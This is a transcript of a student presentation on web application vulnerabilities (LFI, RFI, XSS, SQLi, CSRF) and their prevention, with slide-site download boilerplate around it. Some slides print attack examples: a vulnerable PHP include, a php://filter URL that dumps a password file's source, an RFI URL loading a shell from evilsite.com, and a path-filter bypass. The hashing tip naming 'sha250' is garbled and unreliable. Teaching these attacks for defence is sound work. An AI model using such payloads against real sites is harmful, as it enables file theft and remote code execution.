1 / 18

Vulnerabilities in web applications and their prevention

Vulnerabilities in web applications and their prevention. Serhii Hamotskyi, NTUU “KPI” shamotskyi@gmail.com @pchr8. Why it’s important. • Protecting a website well always costs less than dealing with a breach or data leak.

olesia
Download Presentation

Vulnerabilities in web applications and their prevention

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Vulnerabilities in web applications and their prevention Serhii Hamotskyi, NTUU “KPI” shamotskyi@gmail.com @pchr8

  2. Why it’s important • • Protecting a website well always costs less than dealing with a breach or data leak. • • Consequences may include loss of reputation, clients, financial sanctions, identity theft

  3. Examples from the past few years • • Sony PlayStation Network – $171 million • • Citygroup – $2.7 million • • Stratfor – a global intelligence company – 200gb data leak, including highly confidential emails and credit card data • • Adobe Systems revealed that their corporate database was hacked and some 130 million user records were stolen (October 2013).

  4. Web app vulnerabilities • Most common: • • RFI/LFI – Remote/Local File inclusion (aka PHP-injection). • • XSS – Cross Site Scripting • • SQLi – SQL injection • Less known (but dangerous nonetheless): • • XSRF/CSRF – Cross Site Request Forgery • • Weak authorization • • A lot more

  5. Attack vectors not limited to web apps • • DOS (Denial of Service) – an attack which makes the system unavailable to its intended users. Can be caused either by too many requests or errors in the design of the application • • Social engineering – using influence psychology, manipulation, cheating to get the information needed.

  6. LFI – Local File Inclusion • • Pages with code similar to <?php $page = $_GET[‘page’]; include($page); ?> • • The filename is received from the address: • http://shmt.anapnea.net/lfitest/index.php?page=about.php • • Cleaner code, makes the website easier to maintain.

  7. LFI - Local File Inclusion • • Dangerous if the filename is not checked • • In the worst case scenario, any file from the website or even server can be read (depends on the OS and webserver config). • • Often LFI is used to read confidential/password files, config files, log files, files from other websites hosted on the same server, the source code of .PHP files • • Sometimes gives the ability to execute code on the server (log poisoning)

  8. LFI • • Include() includes a file in the code. If it's plaintext outputs it, if it's PHP-code – executes it and outputs the results • • The source of .PHP files can still be read via PHP-filters: • http://shmt.anapnea.net/lfitest/index.php?page=php://filter/convert.base64-encode/resource=passwords.php • (outputs the Base64-encoded source of passwords.php)

  9. RFI– Remote file inclusion • • Same code as with LFI • • External files can be included – usually containing PHP code that will be executed by include(); • http://shmt.anapnea.net/lfitest/index.php?page=http://evilsite.com/shell.txt • • Usually used to include shells – programs made to make further attacking easier

  10. Protecting from LFI • • Don't receive the parameters dinamically. • • If it's impossible, hard-code the possible values: • <?php $file=$_GET['page']; • $check = array('index.php', 'new.php', 'guestbook.php'); • if(in_array($file, $check)) { • include($file);} else {include('index.php');} ?> • • Check for invalid symbols or sanitize the parameters. If the latter – do it recursively. (Removing ../ once can be bypassed as ....//, for example.)

  11. General guidelines • • All data sent by the browser can be changed, cookies included, and shouldn't be trusted. Any client-side verification is uneffective because of this. • • Check ALL data received from the user. All data is dangerous until proven otherwise. • • Trust no one, even yourself: attacks like CRSF\XSRF and Clickjacking exploit the application's trust to request which appear initiated by itself.

  12. General guidelines • • Keep all libraries and programs updated. • • Set up Google alerts on vulnerabilities and exploits for the software/libraries you use • • Protect the system from all sides – there's no point in having a metal door, expensive lock and open windows. Don't give too much information, remember about no tech hacking, social engineering etc.

  13. General guidelines • • Design a good auth system. • • Hash the passwords. There are a lot of sites that keep md5 tables, but md5(sha250($pass.$salt)) will have to be bruteforced. • • Don't leave default accounts • • Use nontrivial passwords (not 123456, 8520456, asdfgh, qwerty, zxcvb etc), and different passwords everywhere. • • Know what is indexed by Google; don’t explicitly disallow confidential folders in robots.txt • • Don’t use easily guessable URI’s for admin panels: /admin/; /admin.php etc; • • Test you webapp with a vuln scanner, for example Nikto

  14. Thank you for your attention • Any questions?

More Related